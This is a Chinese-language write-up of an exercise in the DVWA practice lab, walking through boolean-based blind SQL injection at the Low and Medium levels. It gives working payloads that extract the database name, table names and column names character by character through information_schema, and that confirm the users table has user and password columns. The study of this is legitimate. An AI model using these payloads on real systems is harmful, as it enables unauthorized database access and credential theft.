一天肝一个注入有点上头
示例一(Low)
题目分析
随便注注
输入1
输入 1’
再试试 1’’
注到这差不多知道是字符型注入了,但是因为页面值返回了这个id是否在数据库里面,并没有返回数据库里面的数据,这个时候就不能使用联合查询注入了,所以使用布尔注入来解题
判断库名长度
先来判断一下数据库库名的长度
结合题目场景,输入查询语句:
1' and length(dabase())>3#
回显:
再试试:
1' and length(database())>4#
回显:
说明数据库的库名长度是4
使用逐字符判断的方法获取数据库库名
数据库库名的范围一般在A-Z, a-z之内,可能还会有其他的一些特殊字符
输入查询语句:(因为在之前的练习中早就知道数据库的库名是‘dvwa’,所以就不一一试试了
1' and substr(database(),1,1)='d(这里的字母不区分大小写)
substr是截取的意思,其意思是截取database()的值,从第一个字符开始(第一个数字1),只返回一个(第二个数字1)
查询第二个字符的话就是以下查询语句:(后面的依次类推)
1' and substr(database(),2,1)='v
也可以使用ASCII码的字符来查询,在MySQL中,ASCII码转换的函数是ord()
那么查询语句变为如下:(就不一个个试啦直接上)
1' and ord(substr(database(),1,1))=100#
当然也可以利用Burp来爆破(上面的看起来笨笨的哈哈哈)
查询表名
查询表名的话,也是先查询表名的长度,已知数据库dvwa里面有两个表,第一个表是guestbook,第二个表是users,所以这里就直接查询啦,拿第二个表来示例啦
输入查询语句:
1' and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1))=5#
可以得到第二个表名的长度为5
接下来也就是要查询具体的表名,也是简单示例啦
输入查询语句:
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 1,1),1,1)='u'#
依次查询可得:第二个表名为users
爆部分字段
看看users表里面有多少个字段数
查询语句:
1' and (select count(*) from information_schema.columns where table_schema='dvwa' and table_name='users')=8#
回显存在,说明users表的字段数为8
惯例先来查询长度(…这个查询语句快把我折磨疯了,我实在不理解这个语句为什么不行 先放一下)
这个是查users表的第一个字段名的长度(注意单引号是中文格式,用 ` 也行)
1’ and length(substr((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘users’ limit 0,1),1))=7#
(好了我现在知道是什么原因了 我实在不理解为什么这个单引号用中文格式的就行,英文的不行???容我再去找找原因)
mysql中点引号( ’ )和反勾号( ` )的区别:(linux下不区分,windows下区分)
区别:
单引号( ’ )或双引号主要用于字符串的引用符号
eg:mysql> SELECT ‘hello’, “hello” ;反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]
eg: mysql > SELECT FROM
table
WHERExxx
=‘abc’(上一句红色的字符串两边都加了`,MDark语法搞得它显示不出来…
打上 `是为了防止与系统保留字和普通字符冲突
直接查询user和password是否在users表
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1 #
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #
回显都是exists.
剩下的就不写了,一个一个爆就是一个很大的工作量.
示例二(medium)
和SQL注入中等难度的题目没什么区别
观察url没看到有参数,那就是POST传参了,浅浅burp抓包
分析:
输入 : 1 回显:exists
输入: 1’ 回显:
输入 : 1’’ 回显:
输入: 1 and 1=1 回显:exists
可以知道是数字型注入,然后单引号和双引号都会被转义,在后面的查询表名以及字段名的时候最好使用ord()函数或者使用十六进制ascii码,后面的基本跟low的雷同(放个图)
最后一题明天再更啦